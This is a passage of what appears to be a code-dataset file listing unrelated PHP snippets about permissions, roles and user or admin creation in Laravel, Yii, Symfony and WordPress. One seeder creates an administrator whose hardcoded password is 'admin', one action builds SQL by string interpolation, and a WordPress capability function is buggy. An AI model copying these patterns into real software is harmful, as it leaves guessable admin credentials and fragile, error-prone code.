'permission_type_id' => 1,\n ],\n [\n 'name' => 'Create',\n 'slug' => 'create_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Edit',\n 'slug' => 'edit_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Read',\n 'slug' => 'read_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Upload Files',\n 'slug' => 'upload_files_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Delete Files',\n 'slug' => 'delete_files_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Can be assigned opportunities',\n 'slug' => 'assignable_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Can recover opportunities',\n 'slug' => 'recoverable_mobile',\n 'permission_type_id' => 2,\n ],\n [\n 'name' => 'Awaiting Bill',\n 'slug' => 'awaiting_bill_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Validation',\n 'slug' => 'awaiting_validation_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Assignment',\n 'slug' => 'awaiting_assignment_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Closer Contact',\n 'slug' => 'awaiting_closer_contact_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Callback',\n 'slug' => 'awaiting_callback_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Commercials',\n 'slug' => 'awaiting_commercials_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Proposal',\n 'slug' => 'awaiting_proposal_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Acceptance',\n 'slug' => 'awaiting_acceptance_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Customer Information',\n 'slug' => 'awaiting_letterhead_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Purchase order',\n 'slug' => 'awaiting_purchase_order_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Awaiting Credit check',\n 'slug' => 'awaiting_credit_check_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Passed Credit Check',\n 'slug' => 'passed_credit_check_mobile',\n 'permission_type_id' => 3,\n ],\n [\n 'name' => 'Show All Leads',\n 'slug' => 'show_all_leads_mobile',\n 'permission_type_id' => 4,\n ],\n\n\n ///////////////////////////\n\n [\n 'name' => 'Create',\n 'slug' => 'create_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Edit',\n 'slug' => 'edit_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Read',\n 'slug' => 'read_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Upload Files',\n 'slug' => 'upload_files_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Delete Files',\n 'slug' => 'delete_files_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Can be assigned opportunities',\n 'slug' => 'assignable_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Can recover opportunities',\n 'slug' => 'recoverable_energy',\n 'permission_type_id' => 5,\n ],\n [\n 'name' => 'Awaiting Bill',\n 'slug' => 'awaiting_bill_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Letter of Authority',\n 'slug' => 'awaiting_letter_of_authority_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Validation',\n 'slug' => 'awaiting_validation_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Assignment',\n 'slug' => 'awaiting_assignment_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Closer Contact',\n 'slug' => 'awaiting_closer_contact_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Callback',\n 'slug' => 'awaiting_callback_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Current Supplier Response',\n 'slug' => 'awaiting_current_supplier_response_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Tender Request',\n 'slug' => 'awaiting_tender_request_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Tender Responses',\n 'slug' => 'awaiting_tender_responses_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Quote',\n 'slug' => 'awaiting_quote_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Awaiting Acceptance',\n 'slug' => 'awaiting_acceptance_energy',\n 'permission_type_id' => 6,\n ],\n [\n 'name' => 'Accepted',\n 'slug' => 'accepted_energy',\n 'permission_type_id' => 6,\n ],\n\n [\n 'name' => 'Show All Leads',\n 'slug' => 'show_all_leads_energy',\n 'permission_type_id' => 7,\n ],\n\n [\n 'name' => 'Vet leads',\n 'slug' => 'vettable_mobile',\n 'permission_type_id' => 2,\n ],\n\n\n ]);\n }", "public function run()\n {\n UserAccountType::create(['account_type' => 'email']);\n UserAccountType::create(['account_type' => 'facebook']);\n UserAccountType::create(['account_type' => 'google']);\n UserAccountType::create(['account_type' => 'twitter']);\n }", "private function createFeedType(FeedTypesRequest $request)\n \t{\n \t\t$binsType = Auth::user()->feedtype()->create($request->all());\n\n \t\treturn $binsType;\n \t}", "public function create()\n {\n $this->authorize('create', Status::class);\n }", "public function run()\n {\n // Permission::truncate();\n $manageUser = new Permission();\n $manageUser->name = 'Create New Administrator';\n $manageUser->slug = 'create-admin';\n $manageUser->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Administrator';\n $createTasks->slug = 'view-administrators';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'Create New Franchisee ';\n $createTasks->slug = 'create-franchisee';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Franchisee';\n $createTasks->slug = 'view-franchisee';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'Create New CSE';\n $createTasks->slug = 'create-cse';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View CSE';\n $createTasks->slug = 'view-cse';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'Create New Quality Assurance';\n $createTasks->slug = 'create-qa';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Quality Assurance';\n $createTasks->slug = 'view-qa';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'Create New Technician';\n $createTasks->slug = 'create-technician';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Technicians';\n $createTasks->slug = 'view-technicians';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'Create New Supplier';\n $createTasks->slug = 'create-supplier';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Suppliers';\n $createTasks->slug = 'view-suppliers';\n $createTasks->save();\n\n $createTasks = new Permission();\n $createTasks->name = 'View Clients';\n $createTasks->slug = 'view-clients';\n $createTasks->save();\n }", "final public function addAdmin() {\n $eventclass = $this->event;\n $admin_data = $eventclass::getAdminData();\n\n if ($admin_data) {\n if (!isset($admin_data['usertype'])) {\n $admin_data['usertype'] = self::getDefaultUserType();\n }\n $this->addToRecipientsList($admin_data);\n }\n }", "public function store(AdminRequest $request)\n\t{\n\n $user = User::create([\n 'name'=>$request->name,\n 'email'=>$request->email,\n ]);\n\n $user->user_type = 1;\n $user->save();\n return redirect()->action('Auth\\PasswordController@postEmail',$request);\n \n\t}", "public function actionCreate()\n {\n $model = new \\backend\\modules\\application\\models\\User();\n $model->scenario = 'add_staffs';\n if ($model->load(Yii::$app->request->post()) && $model->validate()){\n\t $model->username=$model->email_address;\t\t\n $password=$model->password; \n $model->password_hash=Yii::$app->security->generatePasswordHash($password);\n $model->auth_key = Yii::$app->security->generateRandomString();\n $model->status=10;\n $model->login_type=5;\n\t\t//$model->created_by =Yii::$app->user->identity->user_id;\n\t\t$model->created_at =strtotime(date(\"Y-m-d\"));\n\t\t$model->updated_at =strtotime(date(\"Y-m-d\"));\n\t\t$model->last_login_date =date(\"Y-m-d H:i:s\");\n\t\t$model->date_password_changed=date(\"Y-m-d\");\n $model->created_by=Yii::$app->user->identity->user_id;\t\t\n if($model->save()) {\n #################create staff role #########\n $date=strtotime(date(\"Y-m-d\"));\n\t\t\t\t\t\t\t\t\tif($model->staffLevel==2){\n Yii::$app->db->createCommand(\"INSERT INTO auth_assignment(item_name,user_id,created_at) VALUES('Help Desk',$model->user_id,$date)\")->execute();\n\t\t\t\t\t\t\t\t\t}else if($model->staffLevel==1){\n\t Yii::$app->db->createCommand(\"INSERT INTO auth_assignment(item_name,user_id,created_at) VALUES('super user',$model->user_id,$date)\")->execute();\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}\n //end\n\t\t\t\t\n\t\t\t\t// here for logs\n $old_data=\\yii\\helpers\\Json::encode($model->attributes);\t\t\t\t\t\t\n\t\t\t\t\t\t$new_data=\\yii\\helpers\\Json::encode($model->attributes);\n\t\t\t\t\t\t$model_logs=\\common\\models\\base\\Logs::CreateLogall($model->user_id,$old_data,$new_data,\"user\",\"CREATE\",1);\n\t\t\t\t//end for logs\n\t\t\t\t\n\t\t $sms=\"<p>Information successful added</p>\";\n Yii::$app->getSession()->setFlash('success', $sms);\n return $this->redirect(['add-user']);\n }\n\t\t} else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "function add_access_grant_to_invited_group($event, $type, $object) {\n\tif ($object->relationship == 'invited') {\n\t\tadd_entity_relationship($object->guid_one, 'access_grant', $object->guid_two);\n\t}\n}", "public function run()\n {\n $permission = Permission::create([\n 'name' => 'administrador'\n ]);\n\n $permission = Permission::create([\n 'name' => 'cliente'\n ]);\n }", "function wpms_classifieds_build_permissions() {\n\tdo_action(\"wpms_build_premissions\");\n\tif (function_exists('get_role')) {\n\t\t$role = array(get_role('administrator'), get_role('editor'), get_role('author'));\n\t\tforeach ($role as $r) {\n\t\t\tif ($r != null && !$role->has_cap('use_accueil')) {\n\t\t\t\t$r->add_cap('use_accueil');\n\t\t\t}\n\t\t\tif ($r != null && !$role->has_cap('admin_accueil')) {\n\t\t\t\t$r->add_cap('admin_accueil');\n\t\t\t}\n\t\t\tunset($r);\n\t\t}\n\t}\n}", "private function _addOrEdit($user,$type= 'add') {\n \n $user_id = $user['id'];\n\n //Get the creator's id\n if(isset($this->request->data['user_id'])){\n if($this->request->data['user_id'] == '0'){ //This is the holder of the token - override '0'\n $this->request->data['user_id'] = $user_id;\n }\n }\n\n $check_items = array(\n\t\t\t'available_to_siblings',\n\t\t\t'suffix_permanent_users',\n\t\t\t'suffix_vouchers',\n 'suffix_devices'\n\t\t);\n\t\t\n foreach($check_items as $i){\n if(isset($this->request->data[$i])){\n $this->request->data[$i] = 1;\n }else{\n $this->request->data[$i] = 0;\n }\n }\n \n if($type == 'add'){ \n $entity = $this->{$this->main_model}->newEntity($this->request->data());\n }\n \n if($type == 'edit'){\n $entity = $this->{$this->main_model}->get($this->request->data['id']);\n $this->{$this->main_model}->patchEntity($entity, $this->request->data());\n }\n \n if ($this->{$this->main_model}->save($entity)) {\n $this->set(array(\n 'success' => true,\n '_serialize' => array('success')\n ));\n } else {\n $message = 'Error';\n \n $errors = $entity->errors();\n $a = [];\n foreach(array_keys($errors) as $field){\n $detail_string = '';\n $error_detail = $errors[$field];\n foreach(array_keys($error_detail) as $error){\n $detail_string = $detail_string.\" \".$error_detail[$error]; \n }\n $a[$field] = $detail_string;\n }\n \n $this->set(array(\n 'errors' => $a,\n 'success' => false,\n 'message' => array('message' => __('Could not create item')),\n '_serialize' => array('errors','success','message')\n ));\n }\n\t}", "public function create()\n {\n //\n if (Auth::user()->role == 1 || getPermissionUser('Core', 'create', Auth::user()->id) == 1) {\n return view('dashbord.core.facilities.create');\n } else {\n return redirect()->back();\n }\n }", "public function createAction(\\Symfony\\Component\\HttpFoundation\\Request $request) {\n $entity = new CoolwayFestivales\\SafetyBundle\\Entity\\User();\n\n $plan = $request->get('plan');\n\n $form = $this->createForm(new CoolwayFestivales\\SafetyBundle\\Form\\UserType(), $entity);\n $form->bind($request);\n $em = $this->getDoctrine()->getManager();\n\n try {\n $entity->setEnabled(true);\n $role = $em->getRepository(\"SafetyBundle:Role\")->findOneByName(\"ROLE_CMS\");\n if (!$role) {\n $role = new CoolwayFestivales\\SafetyBundle\\Entity\\Role();\n $role->setDescription(\"User CMS\");\n $role->setName(\"ROLE_CMS\");\n $em->persist($role);\n $em->flush();\n }\n $entity->addRole($role);\n $em->persist($entity);\n $em->flush();\n\n// //logear al user\n// try {\n// $token = new \\Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken($entity, $entity->getPassword(), 'usuarios', $entity->getRoles());\n// $this->container->get('security.context')->setToken($token);\n//\n// } catch (Exception $exc) {\n// echo $exc->getTraceAsString();\n// }\n\n $user_id = $entity->getId();\n return $this->redirect(\"https://subs.pinpayments.com/apptibase-test/subscribers/$user_id/subscribe/$plan/apptibase-user-$user_id\");\n } catch (\\Exception $exc) {\n return $this->render('AppBundle:Backend:register.html.twig', array(\n 'error' => $exc->getMessage(),\n 'plan' => \"\"\n ));\n }\n }", "function user_type_check($user) {\n\n $user = User::find($user);\n\n if($user) {\n\n // User need subscripe the plan\n\n if(Setting::get('is_subscription')) {\n\n $user->user_type = 0;\n\n } else {\n // Enable the user as paid user\n $user->user_type = 1;\n }\n\n $user->save();\n\n }\n\n}", "public function createAdminToken();", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required|unique:admin_permissions',\n 'type' => 'required'\n ]);\n $str = null;\n if ($request->type == 'custom'){\n $str = implode(\", \",$request->customs);\n }\n $create = AdminPermission::create([\n 'name'=>$request->name,\n 'type'=>$request->type,\n 'custom'=>$str\n ]);\n if ($create){\n return redirect()->back()->with('success','Permission added successfully');\n }else{\n return redirect()->back()->with('fault','Permission not added');\n }\n }", "public function InsertPermission() {\n if ($this->get_request_method() != \"POST\") {\n $this->response('', 406);\n }\n\n if (isset($_REQUEST['data'])) {\n\n foreach ($_REQUEST['data'] as $data) {\n if (isset($data['idUser'])) {\n $idUser = $data['idUser'];\n }\n if (isset($data['client'])) {\n $client = (int) ($data['client'] === 'true');\n }\n if (isset($data['fournisseur'])) {\n $fournisseur = (int) ($data['fournisseur'] === 'true');\n }\n if (isset($data['article'])) {\n $article = (int) ($data['article'] === 'true');\n }\n if (isset($data['stock'])) {\n $stock = (int) ($data['stock'] === 'true');\n }\n if (isset($data['factureAchat'])) {\n $factureAchat = (int) ($data['factureAchat'] === 'true');\n }\n if (isset($data['factureVente'])) {\n $factureVente = (int) ($data['factureVente'] === 'true');\n }\n if (isset($data['commandeAchat'])) {\n $commandeAchat = (int) ($data['commandeAchat'] === 'true');\n }\n if (isset($data['commandeVente'])) {\n $commandeVente = (int) ($data['commandeVente'] === 'true');\n }\n if (isset($data['bonLivraisonAchat'])) {\n $bonLivraisonAchat = (int) ($data['bonLivraisonAchat'] === 'true');\n }\n if (isset($data['bonLivraisonVente'])) {\n $bonLivraisonVente = (int) ($data['bonLivraisonVente'] === 'true');\n }\n if (isset($data['paiement'])) {\n $paiement = (int) ($data['paiement'] === 'true');\n }\n }\n\n if (!empty($idUser)) {\n try {\n $sql = $this->db->prepare(\"INSERT INTO permission (client, fournisseur, article, stock, factureAchat, factureVente, commandeAchat, commandeVente, bonLivraisonAchat, bonLivraisonVente, paiement, idUser)\" .\n \" VALUES(:client, :fournisseur, :article, :stock, :factureAchat, :factureVente, :commandeAchat, :commandeVente, :bonLivraisonAchat, :bonLivraisonVente, :paiement, :idUser)\");\n $sql->bindParam('client', $client, PDO::PARAM_INT);\n $sql->bindParam('fournisseur', $fournisseur, PDO::PARAM_INT);\n $sql->bindParam('article', $article, PDO::PARAM_INT);\n $sql->bindParam('stock', $stock, PDO::PARAM_INT);\n $sql->bindParam('factureAchat', $factureAchat, PDO::PARAM_INT);\n $sql->bindParam('factureVente', $factureVente, PDO::PARAM_INT);\n $sql->bindParam('commandeAchat', $commandeAchat, PDO::PARAM_INT);\n $sql->bindParam('commandeVente', $commandeVente, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonAchat', $bonLivraisonAchat, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonVente', $bonLivraisonVente, PDO::PARAM_INT);\n $sql->bindParam('paiement', $paiement, PDO::PARAM_INT);\n $sql->bindParam('idUser', $idUser, PDO::PARAM_INT);\n\n $sql->execute();\n\n if ($sql) {\n $success = array('status' => \"Success\", \"msg\" => \"Successfully inserted\");\n $this->response($this->json($success), 200);\n }\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid params \");\n $this->response($this->json($error), 400);\n } catch (Exception $ex) {\n $this->response('', $ex->getMessage()); // If no records \"No Content\" status\n }\n }\n }\n\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid param\");\n $this->response($this->json($error), 400);\n }", "protected function buildPermissions(OrderType $type) {\n $type_id = $type->id();\n $type_params = ['%type_name' => $type->label()];\n\n return [\n \"own store view order type $type_id\" => [\n 'title' => $this->t('[Own commerce store] %type_name: View commerce order', $type_params),\n ],\n \"own store edit order type $type_id\" => [\n 'title' => $this->t('[Own commerce store] %type_name: Edit commerce order', $type_params),\n ],\n \"own store delete order type $type_id\" => [\n 'title' => $this->t('[Own commerce store] %type_name: Delete commerce order', $type_params),\n ],\n \"own store reassign order type $type_id\" => [\n 'title' => $this->t('[Own commerce store] %type_name: Reassign commerce order', $type_params),\n ],\n ];\n }", "public function createAdmin() {\n if(User::where('email', '[email protected]')->count() == 0) {\n $admin = new User();\n $admin->name = \"Administrador\";\n $admin->email = \"[email protected]\";\n $admin->password = bcrypt(\"admin\");\n $admin->user_type = User::UserTypeAdmin;\n $admin->save();\n }\n }", "public function create()\n {\n if (Auth::user()->type !== 'operator'){\n $data['title']= 'Admin';\n return view('back.admin.create',$data);\n\n }\n else{\n session()->flash('error','Unauthorized Request');\n return redirect()->back();\n }\n }", "public function run()\n {\n Permission::create([\n 'name' => 'User Management',\n 'code' => 'user_management'\n ]);\n\n Permission::create([\n 'name' => 'Role Management',\n 'code' => 'role_manage'\n ]);\n\n Permission::create([\n 'name' => 'Master Management',\n 'code' => 'master_manage'\n ]);\n\n Permission::create([\n 'name' => 'Permission Management',\n 'code' => 'permission_management'\n ]);\n }", "public function actionCreate()\n\t{\n\t\t$type = $this->getType();\n\t\t\n\t\t// Create the authorization item form\n\t\t$formModel = new AuthItemForm('create');\n\n\t\tif( isset($_POST['AuthItemForm'])===true )\n\t\t{\n\t\t\t$formModel->attributes = $_POST['AuthItemForm'];\n\t\t\tif( $formModel->validate()===true )\n\t\t\t{\n\t\t\t\t// Create the item\n\t\t\t\t$item = $this->_authorizer->createAuthItem($formModel->name, $type, $formModel->description, $formModel->bizRule, $formModel->data);\n\t\t\t\t$item = $this->_authorizer->attachAuthItemBehavior($item);\n\n\t\t\t\t// Set a flash message for creating the item\n\t\t\t\tYii::app()->user->setFlash($this->module->flashSuccessKey,\n\t\t\t\t\tRights::t('core', ':name created.', array(':name'=>$item->getNameText()))\n\t\t\t\t);\n\n\t\t\t\t// Redirect to the correct destination\n\t\t\t\t$this->redirect(Yii::app()->user->getRightsReturnUrl(array('authItem/permissions')));\n\t\t\t}\n\t\t}\n\n\t\t// Render the view\n\t\t$this->render('create', array(\n\t\t\t'formModel'=>$formModel,\n\t\t));\n\t}", "public function set_user_connections($type, $inputs)\n {\n $this->follow = new UserAcquiantancesModel;\n \n $request_user_id = $inputs['request_user_id'];\n /**\n * First we need to check if the client id is exist\n */\n $client_data = $this->user->get_user_by_profile_code($inputs['client_id']);\n $request_set_id = $client_data->id;\n \n if(!empty($request_user_id)\n && $request_user_id > 0) {\n $request_set_id = $request_user_id;\n }\n try {\n if(count($client_data) == 0) {\n throw new Exception('user not found.');\n }\n \n $id = 0;\n \n if($type == \"af\") {\n //af is for add friends\n //This is for friend request\n if($inputs['action'] == \"add\") {\n $id = $this->user->insert_user_friends([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id,\n 'status' => 0\n ]);\n } else {\n $this->user->delete_user_friends_by_filter([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id\n ]);\n }\n \n return [\n 'status' => true,\n 'message' => '',\n 'id' => $id,\n 'client_id' => $request_set_id\n ];\n \n } else if($type == \"aa\") {\n //aa is for acquaintances\n //This is for friend request\n if($inputs['action'] == \"add\") {\n $id = $this->user->insert_user_acquaintances([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id,\n 'status' => 0\n ]);\n } else {\n $this->user->delete_user_acquaintances_by_filter([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id\n ]);\n }\n \n return [\n 'status' => true,\n 'message' => '',\n 'id' => $id,\n 'client_id' => $client_data->id\n ];\n } else if($type == \"accept_friend_request\") {\n if ($this->follow->where('user_one_id' , $request_set_id)->where('user_two_id' , $inputs['user_id'])->where('status' , 0)->first() === null)\n {\n if ($this->follow->where('user_one_id' , $request_set_id)->where('user_two_id' , $inputs['user_id'])->where('status' , 1)->first() === null)\n {\n $this->follow->create([\n 'user_one_id' => $request_set_id,\n 'user_two_id' => $inputs['user_id'] ,\n 'status' => 1\n ]);\n }\n }\n else\n {\n $this->follow->where('user_one_id' , $request_set_id)->where('user_two_id' , $inputs['user_id'])->where('status' , 0)->update(\n array('status' => 1)\n );\n }\n\n if ($this->follow->where('user_one_id' , $inputs['user_id'])->where('user_two_id' , $request_set_id)->where('status' , 0)->first() === null)\n {\n if ($this->follow->where('user_one_id' , $inputs['user_id'])->where('user_two_id' , $request_set_id)->where('status' , 1)->first() === null)\n {\n $this->follow->create([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id,\n 'status' => 1\n ]);\n }\n }\n else\n {\n $this->follow->where('user_one_id' , $inputs['user_id'])->where('user_two_id' , $request_set_id)->where('status' , 0)->update(\n array('status' => 1)\n );\n }\n\n $this->user->update_user_friends([\n 'user_one_id' => $request_set_id,\n 'user_two_id' => $inputs['user_id'],\n 'status' => 0\n ],[\n 'status' => 1\n ]);\n \n $res = $this->user->get_user_friends_by_filter([\n 'user_one_id' => $request_set_id,\n 'user_two_id' => $inputs['user_id'],\n 'status' => 1\n ]);\n \n $this->user->insert_user_friends([\n 'user_one_id' => $inputs['user_id'],\n 'user_two_id' => $request_set_id,\n 'status' => 1\n ]);\n \n return [\n 'status' => true,\n 'message' => '',\n 'id' => $res->id,\n 'client_id' => $request_set_id\n ];\n } else if($type == \"accept_follow_request\") {\n $this->user->update_useracquiantances([\n 'user_one_id' => $request_set_id,\n 'user_two_id' => $inputs['user_id'],\n 'status' => 0\n ], [\n \"status\" => 1\n ]);\n\n $res = $this->user->get_user_acquaintances_by_filter([\n 'user_one_id' => $request_set_id,\n 'user_two_id' => $inputs['user_id'],\n 'status' => 1\n ]);\n \n return [\n 'status' => true,\n 'message' => '',\n 'id' => $res->id,\n 'client_id' => $request_set_id\n ];\n }\n \n } catch (Exception $ex) {\n return [\n 'status' => false,\n 'message' => $ex->getMessage()\n ];\n }\n }", "public function actionMiniRbac()\n {\n $rbac = Yii::$app->authManager;\n\n\n //Course Permissions\n if(!($createCourse = $rbac->getPermission('create-course')))\n {\n $createCourse = $rbac->createPermission('create-course');\n $createCourse->description = 'Access to create courses';\n $rbac->add($createCourse);\n }\n\n if(!($viewCourse = $rbac->getPermission('view-course')))\n {\n $viewCourse = $rbac->createPermission('view-course');\n $viewCourse->description = 'Access to view courses';\n $rbac->add($viewCourse);\n }\n\n if(!($viewOwnCourse = $rbac->getPermission('view-own-course')))\n {\n $viewOwnCourse = $rbac->createPermission('view-own-course');\n $viewOwnCourse->description = 'Access to view own courses';\n $rbac->add($viewOwnCourse);\n }\n\n if(!($updateCourse = $rbac->getPermission('update-course')))\n {\n $updateCourse = $rbac->createPermission('update-course');\n $updateCourse->description = 'Access to update courses';\n $rbac->add($updateCourse);\n }\n\n if(!($updateOwnCourse = $rbac->getPermission('update-own-course')))\n {\n $updateOwnCourse = $rbac->createPermission('update-own-course');\n $updateOwnCourse->description = 'Access to update own courses';\n $rbac->add($updateOwnCourse);\n }\n\n if(!($deleteCourse = $rbac->getPermission('delete-course')))\n {\n $deleteCourse = $rbac->createPermission('delete-course');\n $deleteCourse->description = 'Access to delete own courses';\n $rbac->add($deleteCourse);\n }\n\n if(!($deleteOwnCourse = $rbac->getPermission('delete-own-course')))\n {\n $deleteOwnCourse = $rbac->createPermission('delete-own-course');\n $deleteOwnCourse->description = 'Access to delete own courses';\n $rbac->add($deleteOwnCourse);\n }\n\n\n //Batch Permissions\n if(!($createBatch = $rbac->getPermission('create-batch')))\n {\n $createBatch = $rbac->createPermission('create-batch');\n $createBatch->description = 'Access to create batches';\n $rbac->add($createBatch);\n }\n\n if(!($viewBatch = $rbac->getPermission('view-batch')))\n {\n $viewBatch = $rbac->createPermission('view-batch');\n $viewBatch->description = 'Access to view batches';\n $rbac->add($viewBatch);\n }\n\n if(!($viewOwnBatch = $rbac->getPermission('view-own-batch')))\n {\n $viewOwnBatch = $rbac->createPermission('view-own-batch');\n $viewOwnBatch->description = 'Access to view own batches';\n $rbac->add($viewOwnBatch);\n }\n\n if(!($updateBatch = $rbac->getPermission('update-batch')))\n {\n $updateBatch = $rbac->createPermission('update-batch');\n $updateBatch->description = 'Access to update batches';\n $rbac->add($updateBatch);\n }\n\n if(!($updateOwnBatch = $rbac->getPermission('update-own-batch')))\n {\n $updateOwnBatch = $rbac->createPermission('update-own-batch');\n $updateOwnBatch->description = 'Access to update own batches';\n $rbac->add($updateOwnBatch);\n }\n\n if(!($deleteBatch = $rbac->getPermission('delete-batch')))\n {\n $deleteBatch = $rbac->createPermission('delete-batch');\n $deleteBatch->description = 'Access to delete own batches';\n $rbac->add($deleteBatch);\n }\n\n if(!($deleteOwnBatch = $rbac->getPermission('delete-own-batch')))\n {\n $deleteOwnBatch = $rbac->createPermission('delete-own-batch');\n $deleteOwnBatch->description = 'Access to delete own batches';\n $rbac->add($deleteOwnBatch);\n }\n\n //Subject Permissions\n if(!($createSubject = $rbac->getPermission('create-subject')))\n {\n $createSubject = $rbac->createPermission('create-subject');\n $createSubject->description = 'Access to create subjects';\n $rbac->add($createSubject);\n }\n\n if(!($viewSubject = $rbac->getPermission('view-subject')))\n {\n $viewSubject = $rbac->createPermission('view-subject');\n $viewSubject->description = 'Access to view subjects';\n $rbac->add($viewSubject);\n }\n\n if(!($viewOwnSubject = $rbac->getPermission('view-own-subject')))\n {\n $viewOwnSubject = $rbac->createPermission('view-own-subject');\n $viewOwnSubject->description = 'Access to view own subjects';\n $rbac->add($viewOwnSubject);\n }\n\n if(!($updateSubject = $rbac->getPermission('update-subject')))\n {\n $updateSubject = $rbac->createPermission('update-subject');\n $updateSubject->description = 'Access to update subjects';\n $rbac->add($updateSubject);\n }\n\n if(!($updateOwnSubject = $rbac->getPermission('update-own-subject')))\n {\n $updateOwnSubject = $rbac->createPermission('update-own-subject');\n $updateOwnSubject->description = 'Access to update own subjects';\n $rbac->add($updateOwnSubject);\n }\n\n if(!($deleteSubject = $rbac->getPermission('delete-subject')))\n {\n $deleteSubject = $rbac->createPermission('delete-subject');\n $deleteSubject->description = 'Access to delete own subjects';\n $rbac->add($deleteSubject);\n }\n\n if(!($deleteOwnSubject = $rbac->getPermission('delete-own-subject')))\n {\n $deleteOwnSubject = $rbac->createPermission('delete-own-subject');\n $deleteOwnSubject->description = 'Access to delete own subjects';\n $rbac->add($deleteOwnSubject);\n }\n\n //Electivegroup Permissions\n if(!($createElectivegroup = $rbac->getPermission('create-electivegroup')))\n {\n $createElectivegroup = $rbac->createPermission('create-electivegroup');\n $createElectivegroup->description = 'Access to create electivegroups';\n $rbac->add($createElectivegroup);\n }\n\n if(!($viewElectivegroup = $rbac->getPermission('view-electivegroup')))\n {\n $viewElectivegroup = $rbac->createPermission('view-electivegroup');\n $viewElectivegroup->description = 'Access to view electivegroups';\n $rbac->add($viewElectivegroup);\n }\n\n if(!($viewOwnElectivegroup = $rbac->getPermission('view-own-electivegroup')))\n {\n $viewOwnElectivegroup = $rbac->createPermission('view-own-electivegroup');\n $viewOwnElectivegroup->description = 'Access to view own electivegroups';\n $rbac->add($viewOwnElectivegroup);\n }\n\n if(!($updateElectivegroup = $rbac->getPermission('update-electivegroup')))\n {\n $updateElectivegroup = $rbac->createPermission('update-electivegroup');\n $updateElectivegroup->description = 'Access to update electivegroups';\n $rbac->add($updateElectivegroup);\n }\n\n if(!($updateOwnElectivegroup = $rbac->getPermission('update-own-electivegroup')))\n {\n $updateOwnElectivegroup = $rbac->createPermission('update-own-electivegroup');\n $updateOwnElectivegroup->description = 'Access to update own electivegroups';\n $rbac->add($updateOwnElectivegroup);\n }\n\n if(!($deleteElectivegroup = $rbac->getPermission('delete-electivegroup')))\n {\n $deleteElectivegroup = $rbac->createPermission('delete-electivegroup');\n $deleteElectivegroup->description = 'Access to delete own electivegroups';\n $rbac->add($deleteElectivegroup);\n }\n\n if(!($deleteOwnElectivegroup = $rbac->getPermission('delete-own-electivegroup')))\n {\n $deleteOwnElectivegroup = $rbac->createPermission('delete-own-electivegroup');\n $deleteOwnElectivegroup->description = 'Access to delete own electivegroups';\n $rbac->add($deleteOwnElectivegroup);\n }\n }", "public function addItem(){\r\n //角色或者权限名会在实例化这个model的时候load给该model\r\n $auth = \\Yii::$app->authManager;\r\n //如果添加的是角色\r\n if($this->type == 